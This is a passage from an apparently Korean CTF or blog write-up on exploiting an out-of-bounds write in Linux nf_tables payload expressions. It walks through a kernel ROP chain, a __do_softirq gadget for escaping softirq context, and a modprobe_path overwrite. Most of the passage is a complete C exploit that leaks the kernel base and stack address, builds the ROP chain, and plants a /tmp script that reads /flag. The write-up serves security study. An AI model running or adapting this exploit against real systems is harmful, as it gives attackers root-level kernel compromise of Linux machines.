add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
offsetof(struct iphdr, protocol), sizeof(uint8_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));
dport = htons(8080);
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
offsetof(struct tcphdr, dest), sizeof(uint16_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0xffffffc8,0x8,0xf0);
payload expr는 패킷의 데이터를 레지스터로 복사하는 역할을 수행합니다. 이를 이용하면 커널 ROP를 통해 제어 흐름을 조작할 수 있습니다. 위와 같이 payload 표현식을 추가하고 ROP 페이로드가 담긴 UDP 패킷을 127.0.0.1:8080
으로 보내면 범위를 벗어난 스택에 ROP 페이로드를 복사할 수 있습니다. 이때, 커널 데이터 유출에 사용될 패킷과 구분하기 위해 필터링할 포트 값을 다른 규칙(Rule)을 추가해야 합니다.
마찬가지로, nft_payload_eval->skb_copy_bits->memcpy(skb_copy_to_linear_data_offset)
에 Breakpoint를 걸어 패킷에 담긴 데이터가 스택에 복사되는 것을 확인할 수 있습니다. 커널 ROP는 일반적으로 페이로드가 크고 Stack Pivot을 활용하기 까다롭기 때문에, payload expr를 추가할때 len 값을 최대한으로 해주는 것이 좋습니다. 적절한 len 값을 포함한 payload expr를 성공적으로 추가했다면, ROP 페이로드를 UDP 패킷에 담아 전송하는 것으로 스택에 Return Address를 조작할 수 있습니다.
이때, 커널 ROP로 권한 상승 공격을 한 후 유저 레벨로 돌아오는 방법은 두 가지가 있습니다.
__do_softirq
:__do_softirq
가젯을 이용하여 softirq context를 탈출합니다.swapgs
:swapgs_restore_regs_and_return_to_usermode
를 통해 강제로 유저레벨로 리턴합니다.
nf_tables
는 softirq 상에서 동작합니다. 따라서 일반적인 커널 드라이버에 대한 익스플로잇과 달리 유저레벨로 돌아오는 과정에서 커널 패닉이 발생할 수 있습니다. 그렇기 때문에 __do_softirq
같은 가젯을 이용해서 적절히 softirq context 탈출해야 합니다. 하지만 이와 같은 방법은 꽤 복잡하고 상황에 따라 불가능할 수도 있기에, swapgs
를 이용하여 커널 패닉을 감수하고 강제로 task를 탈출하는 방법 역시 존재합니다. 이 경우 정상적으로 유저 레벨로 복귀하지 못하기 때문에 Segmentation Fault가 발생하고 익스플로잇 프로세스가 종료되지만, modprobe_path
를 덮는 익스플로잇 방법을 이용한다면 성공적으로 권한 상승 공격을 할 수 있습니다.
swapgs_restore_regs_and_return_to_usermode
을 이용하는 방법은 높은 확률로 커널 패닉을 발생시키기 때문에 익스플로잇 성공 확률이 불안정합니다. 또한 해당 방법은 대부분의 커널 ROP에서 사용되고 많은 레퍼런스가 있기 때문에 이 글에서는 __do_softirq
가젯을 이용하는 ROP 방법에 대해서 서술합니다.
__do_softirq
를 통해 softirq context를 탈출하고 유저 레벨로 돌아오는 과정을 이해하기 위해서는 Linux의 관련 코드를 자세히 분석해야하기 때문에 이 글에서는 __do_softirq
를 softirq context를 탈출하기 위한 목적의 가젯으로 이용하는 방법을 중심으로 설명하겠습니다.
다음은 nft_payload_eval->skb_copy_bits->memcpy(skb_copy_to_linear_data_offset)
에 Breakpoint를 걸어 공격자가 보낸 ROP 페이로드가 스택의 어느부분을 덮어쓰는지를 확인한 것입니다. 해당 디버깅 결과를 통해 공격자의 페이로드가 0xffffc90000003f00
~0xffffc90000003ff0
주소에 복사되며, Return Address인 0xffffffff8189aac5 (__napi_poll+37)
값이 덮여쓰여져 RIP를 조작되는 것을 확인할 수 있습니다. __do_softirq
가젯을 이용해 softirq context를 탈출하는 원리를 간단히 설명하자면, ROP 마지막에 +0xf0
메모리에 존재하는 Return Address인 0xffffffff8106744e (do_softirq+78)
로 돌아가서 정상적인 softirq 흐름을 이어주는 것입니다. 해당 환경에서는 (do_softirq+78)
이지만, 커널 버전 및 컴파일 과정에 따라서 (do_softirq+??)
가 될 수 있습니다. 중요한 점은 ROP를 통해 권한 상승 흐름을 수행한 후 add rsp
가젯 또는 ret
가젯을 이어붙여 0xffffffff8106744e (do_softirq+78)
에 도달해야 한다는 것입니다.
당연히 RIP를 조작한 시점에서 ROP를 수행하고 즉시 (do_softirq+78)
로 돌아가는 것은 정상적인 흐름이 아니기 때문에 RIP를 조작한 직후 cli; ret
가젯을 실행하고 __do_softirq
함수의 특정 부분으로 리턴해야합니다. 이후 __do_softirq
함수내에서 ret
가 실행되어 제어 흐름이 돌아왔을때, 권한 상승 ROP를 수행하고 0xffffffff8106744e (do_softirq+78)
에 도달해야 합니다.
0xffffffff81e0015d <__do_softirq+349>: add DWORD PTR gs:[rip+0x7e216b58],0xffffff00 # 0x16cc0 <__preempt_count>
0xffffffff81e00168 <__do_softirq+360>: mov eax,DWORD PTR gs:[rip+0x7e216b51] # 0x16cc0 <__preempt_count>
0xffffffff81e0016f <__do_softirq+367>: test eax,0xffff00
0xffffffff81e00174 <__do_softirq+372>: jne 0xffffffff81e0022d <__do_softirq+557>
0xffffffff81e0017a <__do_softirq+378>: mov edx,DWORD PTR [rsp+0x1c]
0xffffffff81e0017e <__do_softirq+382>: mov rax,QWORD PTR gs:0x16d00
0xffffffff81e00187 <__do_softirq+391>: and edx,0x800
0xffffffff81e0018d <__do_softirq+397>: and DWORD PTR [rax+0x2c],0xfffff7ff
0xffffffff81e00194 <__do_softirq+404>: or DWORD PTR [rax+0x2c],edx
0xffffffff81e00197 <__do_softirq+407>: add rsp,0x20
0xffffffff81e0019b <__do_softirq+411>: pop rbx
0xffffffff81e0019c <__do_softirq+412>: pop rbp
0xffffffff81e0019d <__do_softirq+413>: pop r12
0xffffffff81e0019f <__do_softirq+415>: pop r13
0xffffffff81e001a1 <__do_softirq+417>: pop r14
0xffffffff81e001a3 <__do_softirq+419>: pop r15
0xffffffff81e001a5 <__do_softirq+421>: ret
...
0xffffffff81e00223 <__do_softirq+547>: call 0xffffffff810932a0 <wake_up_process>
0xffffffff81e00228 <__do_softirq+552>: jmp 0xffffffff81e0015d <__do_softirq+349>
...
여기에서, __do_softirq
함수의 특정 부분은 wake_up_process
함수를 호출하는 코드 바로 다음 부분입니다. 즉, <__do_softirq+552>
또는 해당 코드에서 점프하고 있는 <__do_softirq+349>
이 바로 __do_softirq
가젯입니다.
0xffffffff81e0017a <__do_softirq+378>: mov edx,DWORD PTR [rsp+0x1c]
0xffffffff81e0017e <__do_softirq+382>: mov rax,QWORD PTR gs:0x16d00
0xffffffff81e00187 <__do_softirq+391>: and edx,0x800
이때, __do_softirq
함수의 지역 변수인 old_flags
를 유지시켜줘야 합니다. 이 old_flags
변수는 어셈블리 코드 상에서 0x800과 and 연산을 하는 부분으로 찾을 수 있습니다. old_flags
의 값은 0x40010000
이기 때문에 [rsp+0x1c]
에 0x40010000
값을 써서 edx
레지스터에 0x40010000
값이 들어가도록 하면 됩니다. 해당 어셈블리 코드는 커널 버전과 컴파일 과정에 따라 달라져서 rsp
가 아닌 rbp
를 참조할 수도 있기 때문에 이는 ROP를 통해 적절히 처리해주어야 합니다.
최종적으로 0xffffffff81e001a5 <__do_softirq+421>: ret
에 도달하면 다시 ROP로 흐름이 돌아오기 때문에 권한 상승을 수행하면 됩니다. 이후 0xffffffff8106744e (do_softirq+78)
에 도달할때까지 add rsp
또는 ret
가젯으로 흐름을 이어주면 되는데, 이때 (do_softirq+78)
에 대한 SFP(스택 프레임)를 복구해줘야합니다. 정상적인 SFP 값은 위의 이미지에서 19:00c8 | 0xffffc90000003fc8 —▸ 0xffffc900001c7ba8 —▸ 0xffff888004800000 ◂— 0x1
을 통해 확인할 수 있습니다. 즉 (do_softirq+78)
로 흐름이 이어지기 직전에 pop rbp
가젯을 이용해서 0xffffc900001c7ba8
값을 rbp
레지스터에 넣어주면 됩니다. 해당 커널 스택 주소는 커널 코드 영역과 마찬가지로 KASLR에 의해 랜덤화되므로 커널 코드 영역의 주소를 유출할때, 커널 스택 주소를 같이 유출하여 스택 베이스에 offset을 더해서 값을 구해야합니다.
rop_chain[chain_count] = 0xdeadbeef12341234; chain_count++;
rop_chain[chain_count] = kernel_base + 0xe02052; chain_count++; // cli; ret;
rop_chain[chain_count] = kernel_base + 0xe0015d; chain_count++; // <__do_softirq+349>
rop_chain[chain_count] = 0x0; chain_count++;
rop_chain[chain_count] = 0x0; chain_count++;
rop_chain[chain_count] = 0x0; chain_count++;
rop_chain[chain_count] = 0x4001000000000000; chain_count++;
for(int i=0;i<6;i++){
rop_chain[chain_count] = 0x0; chain_count++;
}
rop_chain[chain_count] = kernel_base + 0x1b44; chain_count++; // pop rsi; ret;
rop_chain[chain_count] = kernel_base + 0x144dac0; chain_count++; // &modprobe
rop_chain[chain_count] = kernel_base + 0x27c91; chain_count++; // pop rax; ret;
rop_chain[chain_count] = 0x646f6d2f706d742f; chain_count++; // b'/tmp/mod'
rop_chain[chain_count] = kernel_base + 0x4dc3e; chain_count++; // mov qword ptr [rsi], rax ; ret
rop_chain[chain_count] = kernel_base + 0x68d; chain_count++; // pop rbp; ret;
rop_chain[chain_count] = kernel_stack + 0x1c7ba8; chain_count++; // sfp
for(int i=0;i<10;i++){
rop_chain[chain_count] = kernel_base + 0x485b69; chain_count++; // ret dummy
}
최종적으로 ROP 페이로드는 위와 같습니다.
rop_chain[chain_count] = kernel_base + 0x1b44; chain_count++; // pop rsi; ret;
rop_chain[chain_count] = kernel_base + 0x144dac0; chain_count++; // &modprobe
rop_chain[chain_count] = kernel_base + 0x27c91; chain_count++; // pop rax; ret;
rop_chain[chain_count] = 0x646f6d2f706d742f; chain_count++; // b'/tmp/mod'
rop_chain[chain_count] = kernel_base + 0x4dc3e; chain_count++; // mov qword ptr [rsi], rax ; ret
해당 ROP 페이로드는 권한 상승을 수행하기 위해 modprobe_path
변수를 덮는 동작을 합니다. modprobe_path
를 통한 권한 상승 기법은 많이 알려져있기 때문에 간단히 설명하겠습니다. 리눅스 커널은 알 수 없는 형식의 실행 파일이 실행되었을때 modprobe_path
변수를 참조하여 /sbin/modprobe
파일을 실행하는데, modprobe_path
를 덮어서 /tmp/??
등으로 값을 바꾸면, 해당 파일이 커널에 의해 실행되게 됩니다. 이를 이용해 공격자는 임의의 명령어를 실행하는 스크립트 /tmp/??
을 생성하고 알 수 없는 형식의 실행 파일을 의도적으로 실행하여 커널 권한으로 명령어를 실행할 수 있습니다.
modprobe_path
변수를 조작하는 방법 이외에도 commit_creds
와 switch_task_namespaces
을 이용하여 namespace
를 탈출하고 root 권한을 얻는 방법이 있지만, 해당 환경에서는 알 수 없는 이유로 정상동작하지 않았습니다.
성공적으로 softirq context 탈출하고 유저레벨로 돌아왔다면, 위와 같이 커널 권한으로 임의의 명령어를 실행하는 것이 가능해집니다. 최종 익스플로잇 코드는 아래에 있습니다.
#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <unistd.h>
#include <stdarg.h>
#include <linux/sched.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <netinet/in.h>
#include <stddef.h> /* for offsetof */
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <pthread.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
char pkt_message[512] = {0, };
char pkt_buffer[512] = {0, };
int pkt_port = 0;
void hexdump(const void* data, size_t size) {
unsigned char *p = (unsigned char*)data;
for (size_t i = 0; i < size; i++) {
printf("%02X ", p[i]);
if ((i + 1) % 16 == 0 || i == size - 1) {
printf("\n");
}
}
}
void *sender_thread(void *arg) {
int client_socket;
struct sockaddr_in server_addr;
// Create a UDP socket
if ((client_socket = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(1);
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(pkt_port);
server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
// Send the UDP packet
sendto(client_socket, pkt_message, 512, 0, (struct sockaddr *)&server_addr, sizeof(server_addr));
close(client_socket);
return NULL;
}
void *receiver_thread(void *arg) {
int server_socket;
struct sockaddr_in server_addr, client_addr;
// Create a UDP socket
if ((server_socket = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(1);
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(pkt_port);
server_addr.sin_addr.s_addr = INADDR_ANY;
// Bind the socket to the server address
if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) {
perror("bind");
exit(1);
}
socklen_t client_addr_len = sizeof(client_addr);
// Receive the UDP packet
recvfrom(server_socket, pkt_buffer, 512, 0, (struct sockaddr *)&client_addr, &client_addr_len);
close(server_socket);
return NULL;
}
void write_to_file(const char *which, const char *format, ...) {
FILE * fu = fopen(which, "w");
va_list args;
va_start(args, format);
if (vfprintf(fu, format, args) < 0) {
perror("cannot write");
exit(1);
}
fclose(fu);
}
void init_cpu(void){
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
perror("[-] sched_setaffinity");
exit(EXIT_FAILURE);
}
}
void init_namespace(void) {
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER) < 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) < 0) {
perror("[-] unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
write_to_file("/proc/self/uid_map", "0 %d 1", uid);
write_to_file("/proc/self/setgroups", "deny");
write_to_file("/proc/self/gid_map", "0 %d 1", gid);
}
void begin_batch(struct mnl_nlmsg_batch *b, int *seq)
{
nftnl_batch_begin(mnl_nlmsg_batch_current(b), (*seq)++);
mnl_nlmsg_batch_next(b);
}
void end_batch(struct mnl_nlmsg_batch *b, int *seq)
{
nftnl_batch_end(mnl_nlmsg_batch_current(b), (*seq)++);
mnl_nlmsg_batch_next(b);
}
void add_table(struct mnl_nlmsg_batch *b, int *seq, const char* table_name)
{
struct nftnl_table *t;
t = nftnl_table_alloc();
nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, NFPROTO_IPV4);
nftnl_table_set_str(t, NFTNL_TABLE_NAME, table_name);
struct nlmsghdr *nlh;
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(b),
NFT_MSG_NEWTABLE, NFPROTO_IPV4,
NLM_F_CREATE | NLM_F_ACK, (*seq)++);
nftnl_table_nlmsg_build_payload(nlh, t);
nftnl_table_free(t);
mnl_nlmsg_batch_next(b);
}
void add_chain(struct mnl_nlmsg_batch *b, int *seq, const char* table_name, const char* chain_name)
{
struct nftnl_chain *t;
t = nftnl_chain_alloc();
nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, table_name);
nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, chain_name);
nftnl_chain_set_u32(t, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_IN);
nftnl_chain_set_u32(t, NFTNL_CHAIN_PRIO, 0);
struct nlmsghdr *nlh;
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(b),
NFT_MSG_NEWCHAIN, NFPROTO_IPV4,
NLM_F_CREATE | NLM_F_ACK, (*seq)++);
nftnl_chain_nlmsg_build_payload(nlh, t);
nftnl_chain_free(t);
mnl_nlmsg_batch_next(b);
}
static void add_payload(struct nftnl_rule *r, uint32_t base, uint32_t dreg,
uint32_t offset, uint32_t len)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("payload");
if (e == NULL) {
perror("expr payload oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_DREG, dreg);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);
nftnl_rule_add_expr(r, e);
}
static void add_set_payload(struct nftnl_rule *r, uint32_t base, uint32_t sreg,
uint32_t offset, uint32_t len)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("payload");
if (e == NULL) {
perror("expr payload oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_SREG, sreg);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);
nftnl_rule_add_expr(r, e);
}
static void add_cmp(struct nftnl_rule *r, uint32_t sreg, uint32_t op,
const void *data, uint32_t data_len)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("cmp");
if (e == NULL) {
perror("expr cmp oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_SREG, sreg);
nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_OP, op);
nftnl_expr_set(e, NFTNL_EXPR_CMP_DATA, data, data_len);
nftnl_rule_add_expr(r, e);
}
void add_rule_leak(struct mnl_nlmsg_batch *b, int *seq, const char* table_name, const char* chain_name)
{
struct nftnl_rule *r = NULL;
uint8_t proto;
uint16_t dport;
uint64_t handle_num;
r = nftnl_rule_alloc();
if (r == NULL) {
perror("OOM");
exit(EXIT_FAILURE);
}
nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table_name);
nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain_name);
nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, NFPROTO_IPV4);
proto = IPPROTO_UDP;
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
offsetof(struct iphdr, protocol), sizeof(uint8_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));
dport = htons(1234);
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
offsetof(struct tcphdr, dest), sizeof(uint16_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));
add_set_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0xfffffffc,0x20,0x30);
struct nlmsghdr *nlh;
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(b),
NFT_MSG_NEWRULE,
nftnl_rule_get_u32(r, NFTNL_RULE_FAMILY),
NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
(*seq)++);
nftnl_rule_nlmsg_build_payload(nlh, r);
nftnl_rule_free(r);
mnl_nlmsg_batch_next(b);
}
void add_rule_exploit(struct mnl_nlmsg_batch *b, int *seq, const char* table_name, const char* chain_name)
{
struct nftnl_rule *r = NULL;
uint8_t proto;
uint16_t dport;
uint64_t handle_num;
r = nftnl_rule_alloc();
if (r == NULL) {
perror("OOM");
exit(EXIT_FAILURE);
}
nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table_name);
nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain_name);
nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, NFPROTO_IPV4);
proto = IPPROTO_UDP;
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
offsetof(struct iphdr, protocol), sizeof(uint8_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));
dport = htons(8080);
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
offsetof(struct tcphdr, dest), sizeof(uint16_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0xffffffc8,0x8,0xf0);
struct nlmsghdr *nlh;
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(b),
NFT_MSG_NEWRULE,
nftnl_rule_get_u32(r, NFTNL_RULE_FAMILY),
NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
(*seq)++);
nftnl_rule_nlmsg_build_payload(nlh, r);
nftnl_rule_free(r);
mnl_nlmsg_batch_next(b);
}
int main(int argc, char *argv[])
{
printf("[+] exploit process starting\n");
init_cpu();
init_namespace();
struct mnl_socket *nl;
char buf[MNL_SOCKET_BUFFER_SIZE];
uint32_t portid, seq;
struct nftnl_table *t;
struct mnl_nlmsg_batch *batch;
int ret, n;
int check = 0;
seq = 100;
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
// HERE
begin_batch(batch, &seq);
add_table(batch, &seq, "exploit_table");
check++;
add_chain(batch, &seq, "exploit_table", "leak_chain");
check++;
add_rule_leak(batch, &seq, "exploit_table", "leak_chain");
check++;
add_chain(batch, &seq, "exploit_table", "exploit_chain");
check++;
add_rule_exploit(batch, &seq, "exploit_table", "exploit_chain");
check++;
end_batch(batch, &seq);
//
nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL)
{
perror("mnl_socket_open");
exit(EXIT_FAILURE);
}
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
{
perror("mnl_socket_bind");
exit(EXIT_FAILURE);
}
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0)
{
perror("mnl_socket_send");
exit(EXIT_FAILURE);
}
mnl_nlmsg_batch_stop(batch);
n = mnl_socket_recvfrom(nl, buf, sizeof(buf));
while (n > 0)
{
const struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
int len = n;
while (mnl_nlmsg_ok(nlh, len))
{
struct nlmsgerr *res;
res = mnl_nlmsg_get_payload(nlh);
printf("[+] netlink result %d: %d\n", nlh->nlmsg_seq, res->error);
nlh = mnl_nlmsg_next(nlh, &len);
check--;
}
if(check == 0) break;
n = mnl_socket_recvfrom(nl, buf, sizeof(buf));
}
mnl_socket_close(nl);
printf("[+] create nft_tables to leak\n");
system("ip addr add 127.0.0.1/8 dev lo");
system("ip link set lo up");
pthread_t leak_sender, leak_receiver;
printf("[+] leak_sender -> leak_receiver (udp)\n");
pkt_port = 1234;
memset(pkt_message, 'a', 512);
pthread_create(&leak_sender, NULL, sender_thread, NULL);
pthread_create(&leak_receiver, NULL, receiver_thread, NULL);
pthread_join(leak_sender, NULL);
pthread_join(leak_receiver, NULL);
unsigned long leak = 0;
memcpy((char*)&leak,pkt_buffer+0x40,8);
unsigned long kernel_stack = leak - 0x1bfb48;
memcpy((char*)&leak,pkt_buffer+0x38,8);
unsigned long kernel_base = leak - 0x6744e;
hexdump(pkt_buffer, 48);
printf("[+] kernel_base = 0x%lx\n", kernel_base);
printf("[+] kernel_stack = 0x%lx\n", kernel_stack);
unsigned long rop_chain[30];
int chain_count = 0;
rop_chain[chain_count] = 0xdeadbeef12341234; chain_count++;
rop_chain[chain_count] = kernel_base + 0xe02052; chain_count++; // cli; ret;
rop_chain[chain_count] = kernel_base + 0xe0015d; chain_count++; // <__do_softirq+349>
rop_chain[chain_count] = 0x0; chain_count++;
rop_chain[chain_count] = 0x0; chain_count++;
rop_chain[chain_count] = 0x0; chain_count++;
rop_chain[chain_count] = 0x4001000000000000; chain_count++;
for(int i=0;i<6;i++){
rop_chain[chain_count] = 0x0; chain_count++;
}
rop_chain[chain_count] = kernel_base + 0x1b44; chain_count++; // pop rsi; ret;
rop_chain[chain_count] = kernel_base + 0x144dac0; chain_count++; // &modprobe
rop_chain[chain_count] = kernel_base + 0x27c91; chain_count++; // pop rax; ret;
rop_chain[chain_count] = 0x646f6d2f706d742f; chain_count++; // b'/tmp/mod'
rop_chain[chain_count] = kernel_base + 0x4dc3e; chain_count++; // mov qword ptr [rsi], rax ; ret
rop_chain[chain_count] = kernel_base + 0x68d; chain_count++; // pop rbp; ret;
rop_chain[chain_count] = kernel_stack + 0x1c7ba8; chain_count++; // sfp
for(int i=0;i<10;i++){
rop_chain[chain_count] = kernel_base + 0x485b69; chain_count++; // ret dummy
}
printf("[+] create /tmp/moddprobe & /tmp/pwn\n");
system("echo -e '#!/bin/sh\ncp /flag /tmp/flag\nchmod a+r /tmp/flag' > /tmp/moddprobe");
system("chmod +x /tmp/moddprobe");
system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
system("chmod +x /tmp/pwn");
pthread_t exploit_sender, exploit_receiver;
pkt_port = 8080;
memset(pkt_buffer, '\0', 512);
memset(pkt_message, 'a', 512);
memcpy(pkt_message, (char*)rop_chain, 0xf0);
printf("[+] exploit_sender -> exploit_receiver (udp)\n");
pthread_create(&exploit_sender, NULL, sender_thread, NULL);
pthread_create(&exploit_receiver, NULL, receiver_thread, NULL);
pthread_join(exploit_sender, NULL);
pthread_join(exploit_receiver, NULL);
return EXIT_SUCCESS;
}
:fan: